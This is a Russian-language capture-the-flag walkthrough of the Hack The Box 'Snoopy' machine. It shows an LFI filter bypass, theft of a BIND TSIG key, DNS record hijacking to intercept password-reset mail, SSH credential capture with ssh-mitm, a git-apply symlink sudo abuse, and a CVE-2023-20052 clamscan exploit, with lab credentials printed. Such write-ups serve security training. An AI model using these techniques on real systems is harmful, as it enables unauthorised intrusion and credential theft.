Сложность: | Hard |
ОС: | Linux |
Баллы: | 40 |
IP: | 10.10.11.212 |
Теги: | LFI, DNS, SSH MitM, Sudo Bypass, CVE-2023-20052 |
После первичной разведки веб-приложения мы обнаруживаем потенциальные имена пользователей, дополнительный сервис Mattermost
и LFI
, позволяющий читать произвольные файлы на целевой машине. Далее, с помощью перехвата письма с кодом восстановления, получим доступ к учётной записи пользователя sbrown в сервисе Mattermost
. Перехватив подключение по SSH от другого пользователя – получим доступ к учётной записи целевой машины cbrown. Затем, с помощью особым образом подготовленного репозитория и прав на исполнение команд от лица пользователя целевой машины sbrown, загрузим открытый ключ атакующего и подключимся снова к целевой машине, но уже с правами пользователя sbrown. Получили флаг пользователя sbrown. Затем, обнаружив, что утилита clamscan уязвима к атаке на обработчик DMG файлов (CVE-2023-20052
) скопируем приватный ключ пользователя root и получим флаг пользователя root.
Проведём сканирование цели:
nmap -sV -sC -O -p- 10.10.11.212
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_ 256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open domain ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
Обнаружили, что к целевой машины доступны сервисы SSH, DNS и веб-страница.
Сразу же добавим домен в /etc/hosts
:
# HTB
10.10.11.212 snoopy.htb
Далее, просмотрим основные разделы страницы на предмет полезной информации:
Возможные внутренние пользователи сервисов: cschultz
, sbrown
, hangel
, lpelt
На основной странице веб-сервиса мы обнаружили исходя из сообщения, что происходит миграция DNS записей на новый домен и, что почтовый сервер mail.snoopy.htb
временно отключен.
Далее осуществим сканирование директорий доступных в сервисе на предмет полезного лута. Для этого воспользуемся любым сканером, который будет Вам привычнее и удобнее:
gobuster dir -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://snoopy.htb
/index.html (Status: 200) [Size: 23418]
/contact.html (Status: 200) [Size: 10248]
/about.html (Status: 200) [Size: 16614]
/assets (Status: 301) [Size: 178] [--> http://snoopy.htb/assets/]
/forms (Status: 301) [Size: 178] [--> http://snoopy.htb/forms/]
/team.html (Status: 200) [Size: 11115]
Ранее, при сканировании открытых портов и сервисов, мы обнаружили сервис DNS. Проведём разведку с помощью инструмента dig
:
dig axfr @10.10.11.212 snoopy.htb
; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.11.212 snoopy.htb
; (1 server found)
;; global options: +cmd
snoopy.htb. 86400 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb. 86400 IN NS ns1.snoopy.htb.
snoopy.htb. 86400 IN NS ns2.snoopy.htb.
mattermost.snoopy.htb. 86400 IN A 172.18.0.3
mm.snoopy.htb. 86400 IN A 127.0.0.1
ns1.snoopy.htb. 86400 IN A 10.0.50.10
ns2.snoopy.htb. 86400 IN A 10.0.51.10
postgres.snoopy.htb. 86400 IN A 172.18.0.2
provisions.snoopy.htb. 86400 IN A 172.18.0.4
www.snoopy.htb. 86400 IN A 127.0.0.1
snoopy.htb. 86400 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 187 msec
;; SERVER: 10.10.11.212#53(10.10.11.212) (TCP)
;; WHEN: Tue Aug 01 13:17:32 MSK 2023
;; XFR size: 11 records (messages 1, bytes 325)
Похоже, что сервисы доступные по адресу snoopy.htb
и mm.snoopy.htb
расположены на одном IP адресе, в отличие от остальных. Добавим поддомен в файл /etc/hosts
и посетим его. Нас встречает форма авторизации сервиса Mattermost – сервиса с открытым исходным кодом для совместной работы технических команд наподобие Slack.
Безуспешно попытавшись перебрать пароли потенциальных учётных записей и обратив внимание на возможность восстановления забытого пароля для пользователя sbrown
– вернёмся к основному веб-сервису целевой машины.
Основная страница сервиса предоставляет пользователю возможность скачивания файла с некоторыми сведениями, которые сами по себе нам неважны. Перехватим этот запрос и проанализируем его:
GET /download?file=announcement.pdf HTTP/1.1
Host: snoopy.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://provisions.snoopy.htb/
Upgrade-Insecure-Requests: 1
При первой попытке развить уязвимость LFI до эксплуатации, кажется, что сервис защищён:
Но, если воспользоваться одной из частых техник обхода защиты от LFI(....//
), то получим следущее:
Скачав и распаковав этот файл получим следующее:
unzip press_release.zip
Archive: press_release.zip
inflating: press_package/etc/passwd
cat press_package/etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav:x:1002:1003::/home/clamav:/usr/sbin/nologin
lpelt:x:1003:1004::/home/lpelt:/bin/bash
cschultz:x:1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray:x:1005:1006:Violet Gray:/home/vgray:/bin/bash
bind:x:108:113::/var/cache/bind:/usr/sbin/nologin
_laurel:x:999:998::/var/log/laurel:/bin/false
Обнаружили несколько пользовательских учётных записей (cbrown
, sbrown
, lpelt
, cschultz
), а также сервисную учётную запись bind
.
Bind – сервис преобразования имён, который сопоставляет и назначает доменные имена соответствующим IP адресам. Ранее, мы выяснили, что почтовый сервис mail.snoopy.htb
временно отключен. Таким образом, если мы верно сконфигурируем на машине атакующего почтовый сервис и заставим целевую машину разрешать IP адрес машины атакующего как mail.snoopy.htb, то мы сможем перехватывать коды восстановления паролей на странице mm.snoopy.htb
.
Набрав достаточное количество сведений о работе сервиса Bind выясним, что основная конфигурационная информация и секретный ключ для работы сервиса находится в файле /etc/bind/named.conf
Воспользовавшись LFI получим этот файл:
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
Для перехвата скопируем ключ в файл dns_key, чтобы он выглядел следующим образом:
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
И далее обновим записи NS с помощью команды:
nsupdate -k dns_key
> server 10.10.11.212
> update add mail.snoopy.htb 86400 A yourIP
> send
Запустим почтовый Python сервис для приёма писем, содержащих код восстановления доступа к учётной записи сервиса mm.snoopy.htb:
python3 -m smtpd -n -c DebuggingServer yourIP:25
Главный кандидат на перехват кода восстановления – пользователь sbrown
, у которого ранее была обнаружена возможность восстановления доступа к учётной записи таким образом. Запросим код восстановления доступа к УЗ при запущенном почтовом сервисе:
python3 -m smtpd -n -c DebuggingServer yourIP:25
---------- MESSAGE FOLLOWS ----------
mail options: ['BODY=8BITMIME']
b'MIME-Version: 1.0'
b'Subject: [Mattermost] Reset your password'
b'Content-Transfer-Encoding: 8bit'
b'Precedence: bulk'
b'Reply-To: "No-Reply" <no-reply@snoopy.htb>'
b'Message-ID: <hngiw4pg3pl0e5rm-0193884726@mm.snoopy.htb>'
b'To: sbrown@snoopy.htb'
b'Auto-Submitted: auto-generated'
b'From: "No-Reply" <no-reply@snoopy.htb>'
b'Date: Tue, 01 August 2023 13:13:24 +0000'
b'Content-Type: multipart/alternative;'
b' boundary=1eb180a975434612f4fc222189f028924f0b3953f96434f4a070947e60ef'
b'X-Peer: 10.10.11.212'
b''
b'--1eb180a975434612f4fc222189f028924f0b3953f96434f4a070947e60ef'
b'Content-Transfer-Encoding: quoted-printable'
b'Content-Type: text/plain; charset=UTF-8'
b''
b'Reset Your Password'
b'Click the button below to reset your password. If you didn=E2=80=99t reques='
b't this, you can safely ignore this email.'
b''
b'Reset Password ( http://mm.snoopy.htb/reset_password_complete?token=3D4u33c='
b'2cn7p1zj1ojbrzh0qw72m1trtne700j27kbk8d38v7yac2lax9lus6orda6 )'
Успешно перехватили письмо, содержащее ссылку на восстановление пароля, перейдя по полученной ссылке сбросим пароль УЗ:
http://mm.snoopy.htb/reset_password_complete?token=4u33c2cn7p1zj1ojbrzh0qw72m1trtne700j27kbk8d38v7yac2lax9lus6orda6
Вводим новый пароль и авторизуемся в сервисе mm.snoopy.htb
.
Получили доступ к сервису для DevSecOps. В чате идёт обсуждение антивируса с открытым исходным кодом ClamAV, возможно это окажется полезным при повышении далее.
Пользователю sbrown
доступен ряд действий в сервисе совместной работы Mattermost, узнать что это за действия можно введя символ /
:
Рассмотрев все действия остановимся на наиболее интересном – /server_provison
.
Похоже, что это действие связано с автоматизацией обеспечения доступа к удалённому сервису для конфигурации по нестандартному порту 2222 (опция 5985 недоступна).
Укажем в качестве параметров пользователя – sbrown@snoopy.htb, а в качестве адреса сервера IP адрес машины атакующего. Откроем и перехватим подключение с помощью netcat
:
nc -nvlp 2222
Connection from 10.10.11.212:39472
SSH-2.0-paramiko_3.1.0
Выяснили, что подключение к нестандартному порту происходит по протоколу SSH.
Мы можем перехватить такое приходящее соединение с помощью модуля Python – sshmitm
. Запустим сервер перехвата и отправим вновь запрос с помощью /server_provision
:
python3 -m sshmitm server --remote-host 10.10.11.212 --listen-port 2222
───────────────────────────── SSH-MITM - ssh audits made simple ─────────────────────────────
Version: 3.0.2
License: GNU General Public License v3.0
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
─────────────────────────────────────────────────────────────────────────────────────────────
generated temporary RSAKey key with 2048 bit length and fingerprints:
MD5:[...]
SHA256:[...]
SHA512:[...]
listen interfaces 0.0.0.0 and :: on port 2222
────────────────────────────────── waiting for connections ──────────────────────────────────
[08/01/23 14:40:06] INFO ℹ session 9a94617f-be69-49bf-90fd-765beb3fbeee
created
INFO ℹ client information:
- client version: ssh-2.0-paramiko_3.1.0
- product name: Paramiko
- vendor url: https://www.paramiko.org/
⚠ client audit tests:
* client uses same server_host_key_algorithms list for
unknown and known hosts
* Preferred server host key algorithm: ssh-ed25519
[08/01/23 14:40:08] INFO Remote authentication succeeded
Remote Address: 10.10.11.212:22
Username: cbrown
Password: sn00pedcr3dential!!!
Agent: no agent
Выяснили, что подключение происходит со стороны целевой машины с учётными данными пользователя: cbrown:sn00pedcr3dential!!!
Это данные для подключения другого пользователя, чем тот, от лица которого мы получили доступ к сервису Mattermost, но, возможно, подключившись к целевой машине по SSH нам удастся повысится и получить доступ к другим пользователям.
Подключившись к целевой машине проверим нет ли у пользователя cbrown прав на исполнения команд от лица других пользователей:
Для того, чтобы с помощью данных прав получить доступ к пользователю sbrown создадим репозиторий, внутри него поместим файлы патча и публичного ключа, который будет символическим указателем на /home/sbrown/.ssh и затем выполним команду со скриншота:
git init
echo "diff --git a/cbrown/.bash_history b/cbrown/.bash_history
deleted file mode 120000
index dc1dc0c..0000000
--- a/cbrown/.bash_history
+++ /dev/null
@@ -1 +0,0 @@
-/dev/null
\ No newline at end of file
diff --git a/cbrown/.ssh/authorized_keys b/cbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..8e881d1
--- /dev/null
+++ b/cbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ssh-rsa KEY kali@kali" > patch
ln -s /home/sbrown/.ssh symlink
chmod +X /home/cbrown
chmod +X /home/cbrown/repo
sudo -u git apply -v patch
Таким образом мы поместили наш публичный ключ в домашнюю директорию пользователя sbrown и теперь мы можем подключиться по SSH. Получили флаг пользователя:
Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root: sudo -l
Исходя из вывода мы можем понять, что есть возможность запуска антивируса ClamAV с правами пользователя root
для файлов, с параметром вывода отладочных сообщений для файлов, содержащихся в папке scanfiles
домашней директории текущего пользователя.
Дальнейший поиск возможных эксплоитов привёл к обнаружению уязвимости обработчика файлов формата DMG – CVE-2023-20052. Воспользуемся следующим Git проектом для эксплуатации уязвимости и подготовим DMG файл с полезной нагрузкой согласно инструкции:
Подготовив DMG файл поместим его в необходимую директорию на целевой машине и запустим команду:
sudo clamscan –debug /home/sbrown/scanfiles/exploit.dmg
Получили приватный ключ пользователя root:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
atU0AwHtCazK8AAAAPcm9vdEBzbm9vcHkuaHRiAQIDBA==
-----END OPENSSH PRIVATE KEY-----
Подключимся с его помощью к целевой машине по SSH и получим флаг пользователя root.
https://github.com/ssh-mitm/ssh-mitm